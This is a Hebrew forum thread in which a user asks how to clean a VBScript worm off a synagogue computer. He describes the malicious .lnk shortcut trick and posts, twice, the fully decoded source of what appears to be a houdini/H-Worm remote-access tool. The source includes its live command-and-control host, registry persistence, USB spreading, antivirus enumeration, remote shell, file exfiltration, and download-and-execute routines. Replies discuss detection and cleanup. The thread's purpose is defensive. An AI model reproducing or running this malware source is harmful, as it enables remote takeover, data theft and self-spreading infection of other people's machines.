                                     if  ucase (file.name) <> ucase (installname) then
                                         filename = split(file.name,".")
                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                     else
                                         filesystemobj.deletefile (drive.path & "\" & file.name)
                                     end If
                                 else
                                     filesystemobj.deletefile (file.path) 
                                 end if
                             end if
                         next
                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                             folder.attributes = 0
                         next
                    end if
                    end if
                    end if
                    next
                    wscript.quit
                    end sub
                    
                    function post (cmd ,param)
                    
                    post = param
                    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                    httpobj.setrequestheader "user-agent:",information
                    httpobj.send param
                    post = httpobj.responsetext
                    end function
                    
                    function information
                    on error resume next
                    if  inf = "" then
                        inf = hwid & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                    
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set os = root.execquery ("select * from win32_operatingsystem")
                        for each osinfo in os
                           inf = inf & osinfo.caption & spliter  
                           exit for
                        next
                        inf = inf & "plus" & spliter
                        inf = inf & security & spliter
                        inf = inf & usbspreading
                        information = inf  
                    else
                        information = inf
                    end if
                    end function
                    
                    sub upstart ()
                    on error resume Next
                    
                    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                    
                    end sub
                    
                    function hwid
                    on error resume next
                    
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set disks = root.execquery ("select * from win32_logicaldisk")
                    for each disk in disks
                        if  disk.volumeserialnumber <> "" then
                            hwid = disk.volumeserialnumber
                            exit for
                        end if
                    next
                    end function
                    
                    function security 
                    on error resume next
                    
                    security = ""
                    
                    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                    for each objitem in colitems
                        versionstr = split (objitem.version,".")
                    next
                    versionstr = split (colitems.version,".")
                    osversion = versionstr (0) & "."
                    for  x = 1 to ubound (versionstr)
                         osversion = osversion &  versionstr (i)
                    next
                    osversion = eval (osversion)
                    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                    
                    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                    
                    for each objantivirus in colantivirus
                        security  = security  & objantivirus.displayname & " ."
                    next
                    if security  = "" then security  = "nan-av"
                    end function
                    
                    function instance
                    on error resume next
                    
                    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                    if usbspreading = "" then
                       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                          usbspreading = "true - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                       else
                          usbspreading = "false - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                    
                       end if
                    end If
                    
                    
                    upstart
                    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                        wscript.quit 
                    end If
                    err.clear
                    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                    if  err.number > 0 then wscript.quit
                    end function
                    
                    sub sitedownloader (fileurl,filename)
                    
                    strlink = fileurl
                    strsaveto = installdir & filename
                    set objhttpdownload = createobject("msxml2.xmlhttp" )
                    objhttpdownload.open "get", strlink, false
                    objhttpdownload.send
                    
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                     
                    if objhttpdownload.status = 200 then
                       dim  objstreamdownload
                       set  objstreamdownload = createobject("adodb.stream")
                       with objstreamdownload
                            .type = 1 
                            .open
                            .write objhttpdownload.responsebody
                            .savetofile strsaveto
                            .close
                       end with
                       set objstreamdownload = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    sub download (fileurl,filedir)
                    
                    if filedir = "" then 
                       filedir = installdir
                    end if
                    
                    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                    set objhttpdownload = createobject("msxml2.xmlhttp")
                    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                    objhttpdownload.send ""
                         
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                    if  objhttpdownload.status = 200 then
                        dim  objstreamdownload
                        set  objstreamdownload = createobject("adodb.stream")
                        with objstreamdownload 
                             .type = 1 
                             .open
                             .write objhttpdownload.responsebody
                             .savetofile strsaveto
                             .close
                        end with
                        set objstreamdownload  = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    function upload (fileurl)
                    
                    dim  httpobj,objstreamuploade,buffer
                    set  objstreamuploade = createobject("adodb.stream")
                    with objstreamuploade 
                         .type = 1 
                         .open
                         .loadfromfile fileurl
                         buffer = .read
                         .close
                    end with
                    set objstreamdownload = nothing
                    set httpobj = createobject("msxml2.xmlhttp")
                    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                    httpobj.send buffer
                    end function
                    
                    function enumdriver ()
                    
                    for  each drive in filesystemobj.drives
                    if   drive.isready = true then
                         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                    end if
                    next
                    end Function
                    
                    function enumfaf (enumdir)
                    
                    enumfaf = enumdir & spliter
                    for  each folder in filesystemobj.getfolder (enumdir).subfolders
                         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                    next
                    
                    for  each file in filesystemobj.getfolder (enumdir).files
                         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                    
                    next
                    end function
                    
                    function enumprocess ()
                    
                    on error resume next
                    
                    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_process",,48)
                    
                    dim objitem
                    for each objitem in colitems
                        enumprocess = enumprocess & objitem.name & "|"
                        enumprocess = enumprocess & objitem.processid & "|"
                        enumprocess = enumprocess & objitem.executablepath & spliter
                    next
                    end function
                    
                    sub exitprocess (pid)
                    on error resume next
                    
                    shellobj.run "taskkill /F /T /PID " & pid,7,true
                    end sub
                    
                    sub deletefaf (url)
                    on error resume next
                    
                    filesystemobj.deletefile url
                    filesystemobj.deletefolder url
                    
                    end sub
                    
                    function cmdshell (cmd)
                    
                    dim httpobj,oexec,readallfromany
                    
                    set oexec = shellobj.exec ("%comspec% /c " & cmd)
                    if not oexec.stdout.atendofstream then
                       readallfromany = oexec.stdout.readall
                    elseif not oexec.stderr.atendofstream then
                       readallfromany = oexec.stderr.readall
                    else 
                       readallfromany = ""
                    end if
                    
                    cmdshell = readallfromany
                    end function
                    
                    cfopuserC מנותק
                    cfopuserC מנותק
                    cfopuser
                    כתב נערך לאחרונה על ידי
                    #14

                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                    נראה שלא הועיל,
                    לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                    מתכנת חובבמ תגובה 1 תגובה אחרונה
                    1
                    • cfopuserC cfopuser

                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן.

                      נראה שלא הועיל,
                      לא יודע איך המחשב שלהם מוגדר אבל ניחוש שלי שמישהו פשוט השבית את האנטי וירוס כדי שהוא יוכל ללחוץ על הקיצור דרך החשוב שלו...

                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי
                      #15

                      @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      ר תגובה 1 תגובה אחרונה
                      0
                      • מתכנת חובבמ מתכנת חובב

                        @cfopuser האנטי וירוס היה אמור למחוק את מנגנון ההתפשטות של זה עוד לפני שהמשתמש השבית וכך זה לא היה עובר למחשב מלכתחילה

                        ר מנותק
                        ר מנותק
                        רנדומלי
                        כתב נערך לאחרונה על ידי
                        #16

                        השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                        מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                        מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                        גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                        @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                        cfopuserC מתכנת חובבמ 2 תגובות תגובה אחרונה
                        0
                        • ר רנדומלי

                          השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                          מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                          מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                          גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                          @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                          cfopuserC מנותק
                          cfopuserC מנותק
                          cfopuser
                          כתב נערך לאחרונה על ידי
                          #17

                          @רנדומלי היא כן.

                          תגובה 1 תגובה אחרונה
                          1
                          • ר רנדומלי

                            בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                            cmd /c hrxxryydxo.vbs && start explorer [file name]
                            

                            הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                            לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                            תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                            לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                            z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                            

                            בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                            לאחר פיענוח הקידוד התקבל הקוד הבא:
                            אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                            e
                            '<[ recoder : houdini (c) skype : houdini-fx ]>
                            
                            '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            host = "khattab.no-ip.biz"
                            port = 5550
                            installdir = "%temp%"
                            lnkfile = true
                            lnkfolder = true
                            
                            '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                            
                            dim shellobj 
                            set shellobj = wscript.createobject("wscript.shell")
                            dim filesystemobj
                            set filesystemobj = createobject("scripting.filesystemobject")
                            dim httpobj
                            set httpobj = createobject("msxml2.xmlhttp")
                            
                            '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                            
                            installname = wscript.scriptname
                            startup = shellobj.specialfolders ("startup") & "\"
                            installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                            if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                            spliter = "<" & "|" & ">"
                            sleep = 5000 
                            dim response
                            dim cmd
                            dim param
                            info = ""
                            usbspreading = ""
                            startdate = ""
                            dim oneonce
                            
                            '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                            on error resume next
                            
                            instance
                            while true
                            
                            install
                            
                            response = ""
                            response = post ("is-ready","")
                            cmd = split (response,spliter)
                            select case cmd (0)
                            case "excecute"
                                  param = cmd (1)
                                  execute param
                            case "update"
                                  param = cmd (1)
                                  oneonce.close
                                  set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                  oneonce.write param
                                  oneonce.close
                                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                  wscript.quit 
                            case "uninstall"
                                  uninstall
                            case "send"
                                  download cmd (1),cmd (2)
                            case "site-send"
                                  sitedownloader cmd (1),cmd (2)
                            case "recv"
                                  param = cmd (1)
                                  upload (param)
                            case  "enum-driver"
                                  post "is-enum-driver",enumdriver  
                            case  "enum-faf"
                                  param = cmd (1)
                                  post "is-enum-faf",enumfaf (param)
                            case  "enum-process"
                                  post "is-enum-process",enumprocess   
                            case  "cmd-shell"
                                  param = cmd (1)
                                  post "is-cmd-shell",cmdshell (param)  
                            case  "delete"
                                  param = cmd (1)
                                  deletefaf (param) 
                            case  "exit-process"
                                  param = cmd (1)
                                  exitprocess (param) 
                            case  "sleep"
                                  param = cmd (1)
                                  sleep = eval (param)        
                            end select
                            
                            wscript.sleep sleep
                            
                            wend
                            
                            sub install
                            on error resume next
                            dim lnkobj
                            dim filename
                            dim foldername
                            dim fileicon
                            dim foldericon
                            
                            upstart
                            for each drive in filesystemobj.drives
                            
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                end if
                                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                    if not lnkfile then exit for
                                    if  instr (file.name,".") then
                                        if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                            file.attributes = 2+4
                                            if  ucase (file.name) <> ucase (installname) then
                                                filename = split(file.name,".")
                                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                lnkobj.windowstyle = 7
                                                lnkobj.targetpath = "cmd.exe"
                                                lnkobj.workingdirectory = ""
                                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                if  instr (fileicon,",") = 0 then
                                                    lnkobj.iconlocation = file.path
                                                else 
                                                    lnkobj.iconlocation = fileicon
                                                end if
                                                lnkobj.save()
                                            end if
                                        end if
                                    end if
                                next
                                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                    if not lnkfolder then exit for
                                    folder.attributes = 2+4
                                    foldername = folder.name
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                    foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                    if  instr (foldericon,",") = 0 then
                                        lnkobj.iconlocation = folder.path
                                    else 
                                        lnkobj.iconlocation = foldericon
                                    end if
                                    lnkobj.save()
                                next
                            end If
                            end If
                            end if
                            next
                            err.clear
                            end sub
                            
                            sub uninstall
                            on error resume next
                            dim filename
                            dim foldername
                            
                            shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                            filesystemobj.deletefile startup & installname ,true
                            filesystemobj.deletefile wscript.scriptfullname ,true
                            
                            for  each drive in filesystemobj.drives
                            if  drive.isready = true then
                            if  drive.freespace  > 0 then
                            if  drive.drivetype  = 1 then
                                for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                     on error resume next
                                     if  instr (file.name,".") then
                                         if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                             file.attributes = 0
                                             if  ucase (file.name) <> ucase (installname) then
                                                 filename = split(file.name,".")
                                                 filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                             else
                                                 filesystemobj.deletefile (drive.path & "\" & file.name)
                                             end If
                                         else
                                             filesystemobj.deletefile (file.path) 
                                         end if
                                     end if
                                 next
                                 for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                     folder.attributes = 0
                                 next
                            end if
                            end if
                            end if
                            next
                            wscript.quit
                            end sub
                            
                            function post (cmd ,param)
                            
                            post = param
                            httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                            httpobj.setrequestheader "user-agent:",information
                            httpobj.send param
                            post = httpobj.responsetext
                            end function
                            
                            function information
                            on error resume next
                            if  inf = "" then
                                inf = hwid & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                            
                                set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                set os = root.execquery ("select * from win32_operatingsystem")
                                for each osinfo in os
                                   inf = inf & osinfo.caption & spliter  
                                   exit for
                                next
                                inf = inf & "plus" & spliter
                                inf = inf & security & spliter
                                inf = inf & usbspreading
                                information = inf  
                            else
                                information = inf
                            end if
                            end function
                            
                            sub upstart ()
                            on error resume Next
                            
                            shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                            filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                            filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                            
                            end sub
                            
                            function hwid
                            on error resume next
                            
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set disks = root.execquery ("select * from win32_logicaldisk")
                            for each disk in disks
                                if  disk.volumeserialnumber <> "" then
                                    hwid = disk.volumeserialnumber
                                    exit for
                                end if
                            next
                            end function
                            
                            function security 
                            on error resume next
                            
                            security = ""
                            
                            set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                            for each objitem in colitems
                                versionstr = split (objitem.version,".")
                            next
                            versionstr = split (colitems.version,".")
                            osversion = versionstr (0) & "."
                            for  x = 1 to ubound (versionstr)
                                 osversion = osversion &  versionstr (i)
                            next
                            osversion = eval (osversion)
                            if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                            
                            set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                            Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                            
                            for each objantivirus in colantivirus
                                security  = security  & objantivirus.displayname & " ."
                            next
                            if security  = "" then security  = "nan-av"
                            end function
                            
                            function instance
                            on error resume next
                            
                            usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                            if usbspreading = "" then
                               if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                  usbspreading = "true - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                               else
                                  usbspreading = "false - " & date
                                  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                            
                               end if
                            end If
                            
                            
                            upstart
                            set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                            set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                            if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                wscript.quit 
                            end If
                            err.clear
                            set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                            if  err.number > 0 then wscript.quit
                            end function
                            
                            sub sitedownloader (fileurl,filename)
                            
                            strlink = fileurl
                            strsaveto = installdir & filename
                            set objhttpdownload = createobject("msxml2.xmlhttp" )
                            objhttpdownload.open "get", strlink, false
                            objhttpdownload.send
                            
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                             
                            if objhttpdownload.status = 200 then
                               dim  objstreamdownload
                               set  objstreamdownload = createobject("adodb.stream")
                               with objstreamdownload
                                    .type = 1 
                                    .open
                                    .write objhttpdownload.responsebody
                                    .savetofile strsaveto
                                    .close
                               end with
                               set objstreamdownload = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            sub download (fileurl,filedir)
                            
                            if filedir = "" then 
                               filedir = installdir
                            end if
                            
                            strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                            set objhttpdownload = createobject("msxml2.xmlhttp")
                            objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                            objhttpdownload.send ""
                                 
                            set objfsodownload = createobject ("scripting.filesystemobject")
                            if  objfsodownload.fileexists (strsaveto) then
                                objfsodownload.deletefile (strsaveto)
                            end if
                            if  objhttpdownload.status = 200 then
                                dim  objstreamdownload
                                set  objstreamdownload = createobject("adodb.stream")
                                with objstreamdownload 
                                     .type = 1 
                                     .open
                                     .write objhttpdownload.responsebody
                                     .savetofile strsaveto
                                     .close
                                end with
                                set objstreamdownload  = nothing
                            end if
                            if objfsodownload.fileexists(strsaveto) then
                               shellobj.run objfsodownload.getfile (strsaveto).shortpath
                            end if 
                            end sub
                            
                            function upload (fileurl)
                            
                            dim  httpobj,objstreamuploade,buffer
                            set  objstreamuploade = createobject("adodb.stream")
                            with objstreamuploade 
                                 .type = 1 
                                 .open
                                 .loadfromfile fileurl
                                 buffer = .read
                                 .close
                            end with
                            set objstreamdownload = nothing
                            set httpobj = createobject("msxml2.xmlhttp")
                            httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                            httpobj.send buffer
                            end function
                            
                            function enumdriver ()
                            
                            for  each drive in filesystemobj.drives
                            if   drive.isready = true then
                                 enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                            end if
                            next
                            end Function
                            
                            function enumfaf (enumdir)
                            
                            enumfaf = enumdir & spliter
                            for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                 enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                            next
                            
                            for  each file in filesystemobj.getfolder (enumdir).files
                                 enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                            
                            next
                            end function
                            
                            function enumprocess ()
                            
                            on error resume next
                            
                            set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                            set colitems = objwmiservice.execquery("select * from win32_process",,48)
                            
                            dim objitem
                            for each objitem in colitems
                                enumprocess = enumprocess & objitem.name & "|"
                                enumprocess = enumprocess & objitem.processid & "|"
                                enumprocess = enumprocess & objitem.executablepath & spliter
                            next
                            end function
                            
                            sub exitprocess (pid)
                            on error resume next
                            
                            shellobj.run "taskkill /F /T /PID " & pid,7,true
                            end sub
                            
                            sub deletefaf (url)
                            on error resume next
                            
                            filesystemobj.deletefile url
                            filesystemobj.deletefolder url
                            
                            end sub
                            
                            function cmdshell (cmd)
                            
                            dim httpobj,oexec,readallfromany
                            
                            set oexec = shellobj.exec ("%comspec% /c " & cmd)
                            if not oexec.stdout.atendofstream then
                               readallfromany = oexec.stdout.readall
                            elseif not oexec.stderr.atendofstream then
                               readallfromany = oexec.stderr.readall
                            else 
                               readallfromany = ""
                            end if
                            
                            cmdshell = readallfromany
                            end function
                            
                            ת מנותק
                            ת מנותק
                            תלמידהון
                            כתב נערך לאחרונה על ידי
                            #18

                            @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                            תגובה 1 תגובה אחרונה
                            0
                            • ר רנדומלי

                              השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                              מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                              מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                              גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                              @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                              מתכנת חובבמ מנותק
                              מתכנת חובבמ מנותק
                              מתכנת חובב
                              מדריכים
                              כתב נערך לאחרונה על ידי
                              #19

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                              היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                              ר תגובה 1 תגובה אחרונה
                              1
                              • מתכנת חובבמ מתכנת חובב

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                ר מנותק
                                ר מנותק
                                רנדומלי
                                כתב נערך לאחרונה על ידי
                                #20

                                @מתכנת-חובב
                                השאלה היא אם הקוד הנוכחי אכן עושה זאת.
